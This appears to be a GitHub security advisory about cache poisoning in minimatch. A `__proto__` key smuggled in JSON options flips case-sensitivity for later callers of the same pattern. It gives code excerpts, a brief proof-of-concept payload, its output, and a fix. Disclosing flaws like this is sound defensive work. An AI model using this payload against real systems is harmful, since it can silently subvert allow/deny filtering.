Skip to main content
Menu
Advisories

Proto Key Bypasses Cache-Key Weighting in minimatch's Shared Matcher Cache

GHSA-3924-R96C-GP9WPublished Updated GitHub

Description

I found that minimatch's module-global matcher cache can be poisoned by a __proto__ key in the options object passed to minimatch(). optionsKey() scores that key the same as no options at all, while copyOptions()'s bare for...in loop re-parents its copy onto the attacker's prototype instead of copying it as an own property — one caller doing this is enough to flip the cached matcher's case-sensitivity for every later, unrelated caller matching the same pattern string.

Details

src/index.ts:229-234, optionsKey() has no case '__proto__', so it falls through to default and contributes weight 0:

const optionsKey = (o: MinimatchOptions): number | string => {
  for (const k in o) {
    switch (k) {
      // ... no 'case "__proto__":' branch ...
      default:
        n += (booleanWeights.get(k) ?? 0) * tri(v)

src/index.ts:291-296, copyOptions() copies with a plain assignment, not Object.defineProperty, so __proto__ runs through the real setter instead of landing as an own key:

const copyOptions = (o?: MinimatchOptions) => {
  const copy: Record<string, unknown> = {}
  for (const k in o) copy[k] = (o as Record<string, unknown>)[k]
  return copy as MinimatchOptions
}

cachedMinimatch() (src/index.ts:298-323) then stores the Minimatch built from the poisoned copyOptions(options) under the key optionsKey(options) returns — the same key a later, option-less call will look up. Neither function has the one missing check that matters here: special-case __proto__ before it reaches assignment.

Proof of concept

import { minimatch } from 'minimatch'

const smuggled = JSON.parse('{"__proto__":{"nocase":true}}')
// attacker's own call — nocase takes effect for them
const r1 = minimatch(file, patternLower, smuggled)
...

Then, with no knowledge of the call above, a second, fully-trusted caller matches the same pattern with zero options:

// SEPARATE caller, SAME pattern string, DEFAULT options
const r2 = minimatch(file, patternLower)

Result

minimatch("FOO-....TXT", "foo-....txt", smuggled) = true
minimatch("FOO-....TXT", "foo-....txt")  [no options]  = true  (expected false)
minimatch(<untouched UPPER>, <untouched lower pattern>) [no options] = false  (expected false)
cache-poisoned: true
global Object.prototype polluted: NO

r2 = true is the proof: a second, independent call with no options at all gets back the attacker's poisoned matcher. The untouched-pattern control stays false, and Object.prototype itself is never touched — this is cache poisoning, not classic global prototype pollution.

Impact

Any process that relies on the default, process-global minimatch() cache to evaluate security-relevant patterns (allow/deny lists, package-name filters) loses the integrity of that decision the moment one code path builds options from untrusted JSON — README.md's own stated default, "compared case sensitively, unless nocase:true is set," breaks for a bystander caller. This is not remote code execution and not data disclosure — it's a single boolean match-outcome flip, scoped to the shared cache, that persists until the entry is evicted.

Suggested Fix

// copyOptions(): never let __proto__ become the copy's own prototype
const copyOptions = (o?: MinimatchOptions) => {
  const copy = Object.create(null) as Record<string, unknown>
  for (const k in o) if (k !== '__proto__') copy[k] = (o as Record<string, unknown>)[k]
  return copy as MinimatchOptions
}

Affected versions

References

GitHub · isaacs/minimatch